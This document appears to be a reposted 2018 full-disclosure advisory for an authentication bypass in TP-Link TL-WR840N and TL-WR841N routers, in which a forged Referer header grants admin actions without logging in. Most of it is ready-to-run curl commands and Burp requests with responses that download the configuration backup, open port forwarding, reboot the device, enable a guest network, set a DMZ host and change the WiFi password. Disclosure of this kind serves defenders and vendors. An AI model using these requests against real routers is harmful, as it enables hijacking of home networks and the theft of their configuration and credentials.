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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Title: TP-Link Multiple Router(TL-WR840N and TL-WR841N) Unauthenticated
Router Access Vulnerability
Author: BlackFog Team
Date: 27 May 2018
Website: SecureLayer7.net
Contact: info@securelayer7.net

Version: 0.9.1 4.16 v0001.0 Build 170622 Rel.64334n
Hardware: TL-WR841N v13 00000013

Version : Firmware Version: 0.9.1 3.16 v0001.0 Build 170608 Rel.58696n
Hardware Version: TL-WR840N v5 00000005

Vendor Description: TP-Link is the world's #1 provider of consumer WiFi
networking devices, shipping products to over 120 countries and hundreds of
millions of customers. (source https://www.tp-link.com/)


Attack Description :
This issue is caused by improper session handling on /cgi/ Folder or /cgi
file found by Touhid Shaikh(BlackFog Team Member).

if any attacker sends Referer Header with its request and sets Referer:
http://192.168.0.1/mainFrame.htm dan its no authentication required and an
attacker can do router's action without authentication.
below are some of few examples you can see. But the attacker can do mostly
all of the action on a router without Authentication.

NOTE:  Except admin's password change bcz its required current password for
changing

##### POC ######
----------------------- Fail attempt -------------------------
root@linux:/workspace# curl -i -s -k -X GET http://192.168.0.1/cgi/conf.bin
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=utf-8
Content-Length: 106
Connection: close

<html><head><title>403 Forbidden</title></head><body><center><h1>403
Forbidden</h1></center></body></html>

-----------------------------------------------------

--------------- Seccessfull attempt --------------------------------
root@linux:/workspace# curl -i -s -k -X GET -H "Referer:
http://192.168.0.1/mainFrame.htm" http://192.168.0.1/cgi/conf.bin
HTTP/1.1 200 OK
Content-Type: application/octet-stream; charset=utf-8
Content-Length: 5984
Connection: keep-alive

root@linux:/workspace# curl -s -k -X GET -H "Referer:
http://192.168.0.1/mainFrame.htm" http://192.168.0.1/cgi/conf.bin >
backup.bin
root@linux:/workspace# file backup.bin
backup.bin: data
root@linux:/workspace# ls -la backup.bin
-rw-r--r-- 1 root root 5720 Mar 30 17:17 backup.bin

----------------------------------------------------
##### POC END ######


Evil Actions Without Authentication example.
============== Burp Request and curl command for conf.bin or backup file
=================


####### Burp ########
GET /cgi/conf.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Agent22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/mainFrame.htm
Connection: close
Upgrade-Insecure-Requests: 1

-------Response--------
HTTP/1.1 200 OK
Content-Type: application/octet-stream; charset=utf-8
Content-Length: 5720
Connection: close

w@\ÝÓb êLýªïÀ‡ÉE‹ûaɬ,*-àh[Ú‹³lÙ€ÍÁ.©-
.....SKIP.......
8/����W


######## Curl ##########
curl -i -s -k  -X $'GET'     -H $'Host: 192.168.0.1' -H $'User-Agent:
Agent22' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H
$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Connection: close'      $'
http://192.168.0.1/cgi/conf.bin' > backup.bin

------ take a look in backup.bin file --------

===========================================



=========== Add Port Forwarding ============
curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:
Mozilla/Agent22" -H 'Accept: */*' -H "Referer:
http://192.168.0.1/mainFrame.htm" --data-binary
$'[IP_CONN_PORTTRIGGERING#0,0,0,0,0,0#1,1,2,0,0,0]0,5\x0d\x0atriggerPort=23\x0d\x0atriggerProtocol=TCP
or UDP\x0d\x0aopenProtocol=TCP or
UDP\x0d\x0aenable=1\x0d\x0aopenPort=23\x0d\x0a' http://192.168.0.1/cgi?3

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

[1,1,2,7,0,0]0
triggerPort=23
triggerProtocol=TCP or UDP
openProtocol=TCP or UDP
enable=1
openPort=23
[error]0

----- Decription -----
enable=0 is for disable
enable=1 is for enable
u can change port also.
====================================



=========== Reboot Router =========================
curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:
Mozilla/Agent22" -H 'Accept: */*' -H "Referer:
http://192.168.0.1/mainFrame.htm" --data-binary
$'[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' http://192.168.0.1/cgi?7

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

[error]0

----Description -----
error = 0 means reboot seccessully
======================================



============= Enable Guest Network ==========================
curl -i -s -k  -X $'POST' -H $'Host: 192.168.0.1' -H $'User-Agent: Aent22'
-H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H
$'Accept-Encoding: gzip, deflate' -H $'Content-Type: text/plain' -H
$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 844' -H
$'Connection: close' --data-binary
$'[LAN_WLAN_MULTISSID#1,1,0,0,0,0#0,0,0,0,0,0]0,1\x0d\x0amultiSSIDEnable=1\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,1,1,0,0,0#0,0,0,0,0,0]1,11\x0d\x0aIsolateClients=0\x0d\x0aEnable=1\x0d\x0aSSID=Agent22\x0d\x0aBeaconType=WPAand11i\x0d\x0aWPAAuthenticationMode=PSKAuthentication\x0d\x0aWPAEncryptionModes=TKIPandAESEncryption\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=TKIPandAESEncryption\x0d\x0aPreSharedKey=9876543210\x0d\x0aGroupKeyUpdateInterval=0\x0d\x0aMaxStaNum=32\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,2,1,0,0,0#0,0,0,0,0,0]2,1\x0d\x0aIsolateClients=0\x0d\x0a[LAN_WLAN_GUESTNET#1,1,0,0,0,0#0,0,0,0,0,0]3,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=1\x0d\x0a[LAN_WLAN_GUESTNET#1,2,0,0,0,0#0,0,0,0,0,0]4,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=0\x0d\x0a'
$'http://192.168.0.1/cgi?2&2&2&2&2'

------- Description ----------
SSID=Agent22
PreSharedKey=9876543210
=============================================



======= DMZ enable and Disable on 192.168.0.112 ===========
curl -i -s -k  -X $'POST'     -H $'Host: 192.168.0.1' -H $'User-Agent:
Agent22' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H
$'Content-Length: 78' -H $'Connection: close'     --data-binary
$'[DMZ_HOST_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\x0d\x0aenable=1\x0d\x0aIPAddress=192.168.0.112\x0d\x0a'
   $'http://192.168.0.1/cgi?2'

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: close

[error]0

-------Description -----------
IPAddress=192.168.0.112
enable=1 or 0 (enable or disable)
=================================================

=============== WiFi Password Change =============
curl -i -s -k  -X $'POST'     -H $'Host: 192.168.0.1' -H $'User-Agent:
Agent22' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type:
text/plain' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H
$'Content-Length: 199' -H $'Connection: close'     --data-binary
$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=9876543210\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'
   $'http://192.168.0.1/cgi?2'

-------Description -----------
IEEE11iAuthenticationMode=PSKAuthentication
IEEE11iEncryptionModes=AESEncryption
X_TP_PreSharedKey=9876543210
===============================



======= Report Timeline =============
30 Mar, 2018 ----- Initial Report (support.in@tp-link.com) (No Response)
27 May, 2018 ----- Full Disclosure